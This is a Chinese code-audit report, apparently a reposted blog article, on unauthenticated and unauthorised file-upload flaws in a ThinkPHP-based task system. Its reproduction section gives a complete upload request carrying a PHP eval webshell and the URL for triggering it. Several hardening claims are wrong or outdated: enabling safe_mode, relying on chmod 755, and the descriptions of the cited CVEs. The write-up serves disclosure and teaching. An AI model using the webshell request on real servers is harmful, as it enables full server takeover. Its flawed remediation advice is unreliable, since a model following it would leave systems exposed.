引
言
系统存在未经身份认证的文件上传功能,攻击者可通过构造恶意HTTP请求绕过前端校验,直接上传包含恶意代码的文件(如WebShell)。由于服务端未对上传文件进行内容合法性验证,成功上传后可结合文件包含漏洞或直接访问路径触发恶意代码执行,最终可能导致服务器被完全控制。
某任务系统代码安全审计报告
审计日期: 2025年4月9日
系统环境: TP框架 + PHP 7.2.33
一、前台任意文件上传漏洞(高危)
1. 漏洞描述
系统未对前台用户上传文件进行有效权限及内容校验,攻击者可构造恶意文件突破上传限制。
2. 漏洞成因
-
鉴权失效: app/home/controller/Task.php
控制器的upimg()
方法未验证用户登录状态(缺失$member->checkLogin()
调用)。
-
无文件过滤:在app/home/controller/Task.php 控制器的upimg方法中,通过qiniuupload()方法将文件上传,跟进qiniuupload()方法,qiniuupload()方法对上传文件后缀、MIME类型等无任何限制(见下图)。
3. 复现步骤
-
构造恶意请求: POST /index.php/home/task/upimg HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php eval($_POST['cmd']);?>
------WebKitFormBoundary--
构造payload
-
直接访问上传路径获取Shell: http://target.com/uploads/shell.php
4. 修复建议
-
增加前置鉴权:调用 $member->checkLogin()
验证用户身份 -
添加文件白名单:仅允许 .jpg/.png/.gif
等安全后缀 -
重命名上传文件:使用随机字符串+时间戳生成唯一文件名 -
限制上传目录权限:禁止脚本执行权限(如 chmod 755
)
二、后台任意文件上传漏洞(严重)
1. 漏洞描述
管理员后台上传接口缺乏安全校验,可直接上传WebShell获取服务器权限。
2. 漏洞成因
-
无权限控制: app/admin/controller/Upload.php
的file()
方法未验证用户角色(如是否为管理员) -
无内容检测:允许上传任意文件类型(见下图构造的恶意Payload)
3. 影响范围
攻击者可上传PHP木马、WebShell等,导致:
-
数据库篡改 -
敏感信息窃取 -
服务器完全控制
4. 修复建议
-
增加RBAC权限验证:仅允许管理员角色访问上传接口 -
添加MIME类型校验:限制为 image/png,image/jpeg
等安全类型 -
上传路径隔离:将管理文件存储到独立目录(如 /admin/uploads/
) -
日志审计:记录上传文件哈希值及操作人员IP
三、环境配置风险提示
1. PHP版本风险
当前PHP版本为 7.2.33(发布于2020年12月),存在以下已知漏洞:
-
CVE-2020-7064:反序列化漏洞 -
CVE-2020-7065:内存泄漏漏洞
建议升级至PHP 7.4或更高版本
2. 配置审查建议
-
禁用危险函数: eval(), system(), shell_exec()
-
限制上传文件大小: upload_max_filesize = 2M
-
开启安全模式: safe_mode = On
四、总结
本次审计发现两处高危漏洞,建议立即修复并重新测试。后续建议:
-
建立代码评审机制 -
使用自动化扫描工具(如SonarQube) -
定期进行渗透测试
后期我们将持续发布原创代码审计、src等漏洞挖掘文章,后期有些源码、挖掘思路等也会放进圈子哈~
有任何问题可后台留言
原文始发于微信公众号(Rot5pider安全团队):【代码审计】xxx任务系统后台任意文件上传
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论